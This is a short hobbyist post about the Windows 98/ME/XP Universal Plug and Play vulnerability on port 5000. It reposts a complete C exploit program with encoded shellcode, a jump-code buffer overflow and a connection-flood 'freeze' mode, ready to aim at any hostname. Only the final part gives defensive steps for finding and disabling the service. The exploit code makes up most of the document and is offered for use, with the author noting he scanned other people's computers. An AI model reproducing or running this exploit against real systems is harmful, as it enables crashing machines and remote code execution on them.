Hacking Microsoft's Universal Plug N' Play Event

Last night, I was playing with my port scanner, and I found several computers with port 5000 open. I google'd it and found that it is Microsoft's UPnP system. I remember hearing there was a security issue with this, so I investigated.

Universal Plug and Play (UPnP) is a capability that allows devices on a network to discover other devices and determine how to work with them. UPnP is most easily understood by comparison to plug-and-play (PnP) capability that most Windows users already are familiar with. PnP allows the operating system to detect new hardware when you install it on a system. For instance, if you install a new mouse onto your computer, PnP allows Windows to detect it, load the needed drivers, and begins using it. The vulnerability results because the Universal Plug and Play service that either ships with or can be installed on Windows 98, 98SE, ME and XP do not correctly handle certain requests. In Windows 98, 98SE and ME, these requests can cause an access violation and result in the system failing; in Windows XP, they cause a memory leak that, if exploited repeatedly, could deplete system resources to the point where the system performance was degraded. The service does not correctly handle certain types of invalid UPnP requests. The specific effects of receiving such a request vary, depending on which operating system is in use.

This is the simplest code I could find to exploit. Thanks to Gabriel Maggiotti for this code. I will try writing my own shortly.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#define MAX 10000
#define PORT 5000
#define FREEZE 512
#define NOP 0x43 //inc ebx, instead of 0x90

int main(int argc,char *argv[])
{
int sockfd[MAX];
char sendXP[]="XP";
char jmpcode[281], execode[840],request[2048];
char *send_buffer;
int num_socks,bindport,i, port;

unsigned char shellcode[] =
"\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
"\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
"\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
"\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
"\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
"\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
"\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
"\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
"\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
"\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
"\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
"\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
"\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
"\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
"\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
"\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
"\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
"\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
"\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
"\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
"\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
"\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
"\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
"\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
"\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
"\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
"\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
"\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
"\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
"\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
"\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
"\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"
"\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xc0\xa4\x5e\xc6\xc7"
"\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
"\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
"\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
"\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
"\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
"\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
"\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
"\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
"\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
"\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
"\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
"\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
"\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
"\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
"\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
"\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
"\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
"\x68\x68\x68\x68";
struct hostent *he;
struct sockaddr_in their_addr;


if(argc!=3)
{
fprintf(stderr,"usage:%s <hostname> <command>\n",argv[0]);
fprintf(stderr,"-f freeze the machine.\n");
fprintf(stderr,"-e exploit.\n");
exit(1);
}


if(strstr(argv[2],"-f")) {
num_socks=FREEZE;
send_buffer=sendXP;
}

if(strstr(argv[2],"-e")) {
num_socks=1;
send_buffer=request;
bindport^=0x9797;
shellcode[778]= (bindport) & 0xff;
shellcode[779]= (bindport >> 8) & 0xff;

for(i = 0; i < 268; i++)
jmpcode[i] = (char)NOP;

jmpcode[268] = (char)0x4d;
jmpcode[269] = (char)0x3f;
jmpcode[270] = (char)0xe3;
jmpcode[271] = (char)0x77;
jmpcode[272] = (char)0x90;
jmpcode[273] = (char)0x90;
jmpcode[274] = (char)0x90;
jmpcode[275] = (char)0x90;

//jmp [ebx+0x64], jump to execute shellcode
jmpcode[276] = (char)0xff;
jmpcode[277] = (char)0x63;
jmpcode[278] = (char)0x64;
jmpcode[279] = (char)0x90;
jmpcode[280] = (char)0x00;

for(i = 0; i < 32; i++)
execode[i] = (char)NOP;
execode[32]=(char)0x00;
strcat(execode, shellcode);

snprintf(request, 2048, "%s%s\r\n\r\n", jmpcode, execode);
}

if((he=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname");
exit(1);
}

for(i=0; i<num_socks;i++)
if( (sockfd[i]=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket"); exit(1);
}

their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(PORT);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);

for(i=0; i<num_socks;i++)
if( connect(sockfd[i],(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1)
{
perror("connect");
exit(1);
}
for(i=0; i<num_socks;i++)
if(send(sockfd[i],send_buffer,strlen(send_buffer),0) ==-1) {
perror("send");
exit(0);
}
for(i=0; i<num_socks;i++)
close(sockfd[i]);
return 0;
}

Fixing the problem:

Find out if it is running on your machine:
For Windows 98, 98SE, and ME:
1) Select Start, then Settings, then Control Panel
2) Select Add/Remove Programs
3) Select the Windows Setup tab.
4) Open the Communications sub-item
5) If the checkbox for Universal Plug and Play is checked, the service is installed and running.

For Windows XP:
1) Select Start, then right-click on My Computer and select Manage
2) Select Services and Applications, then select Services
3) Scan the list of services and locate the one named Universal Plug and Plug Device Host.
4) Check the column titled Status. If it says Started, the service is installed and running.


You turn this off the following way:
For Windows 98, 98SE, and ME:
1) Select Start, then Settings, then Control Panel
2) Select Add/Remove Programs
3) Select the Windows Setup tab
4) Open the Communications sub-item
5) Uncheck the Universal Plug and Play selection

For Windows XP:
1) Select Start, then right-click on My Computer and select Manage
2) Select Services and Applications, then select Services
3) Scan the list of services and locate the one named Universal Plug and Plug Device Host.
4) Right-click on the service, and select Properties
5) In the section titled Service Status, click on Stop
6) In the pull-down box titled Startup Type, select Disabled